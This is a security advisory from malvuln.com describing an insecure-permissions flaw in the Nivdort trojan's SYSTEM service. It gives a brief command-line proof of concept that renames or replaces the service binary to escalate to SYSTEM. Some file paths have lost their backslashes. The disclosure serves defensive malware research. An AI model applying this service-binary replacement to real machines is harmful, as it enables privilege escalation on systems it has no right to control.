Authored by malvuln | Site malvuln.com

TrojanSpy Win32 Nivdort malware suffers from an insecure permissions vulnerability.

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/15bda00b57e2ed729a45f7cfa62165da.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: TrojanSpy Win32 Nivdort
Vulnerability: Insecure Permissions - EoP (SYSTEM)
Family: Nivdort
Type: PE32
MD5: 15bda00b57e2ed729a45f7cfa62165da
Vuln ID: MVID-2024-0668
Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exe
Disclosure: 01/20/2024

Description:
The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service.

C:>cacls C:pewcvmnvyrjwgaklb.exe
C:pewcvmnvyrjwgaklb.exe BUILTINAdministrators:(ID)F
NT AUTHORITYSYSTEM:(ID)F
BUILTINUsers:(ID)R
NT AUTHORITYAuthenticated Users:(ID)C


C:>sc qc "Group Key KtmRm Coordinator Registry TPM Bus"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:pewcvmnvyrjwgaklb.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Group Key KtmRm Coordinator Registry TPM Bus
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


Exploit/PoC:
Open a cmd prompt as standard user:

1) unhide the service binary
C:Usersnorgt>attrib -s -h pewcvmnvyrjwgaklb.exe

2) rename the service binary
C:Usersnorgt>ren pewcvmnvyrjwgaklb.exe PWNED

3) optional replace with your own binary and escalate to SYSTEM

C:Usersnorgt>dir pewcvmnvyr
Directory of C:pewcvmnvyr
..
01/14/2024 02:05 AM 0 dqrpgvnkh
01/14/2024 02:05 AM 6 egjrdhynfm
01/14/2024 02:09 AM 4 nhefhloix
01/14/2024 02:05 AM 332,800 PWNED <================= DONE
01/14/2024 02:05 AM 332,800 rvoyf9njtqg4zejno.exe


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).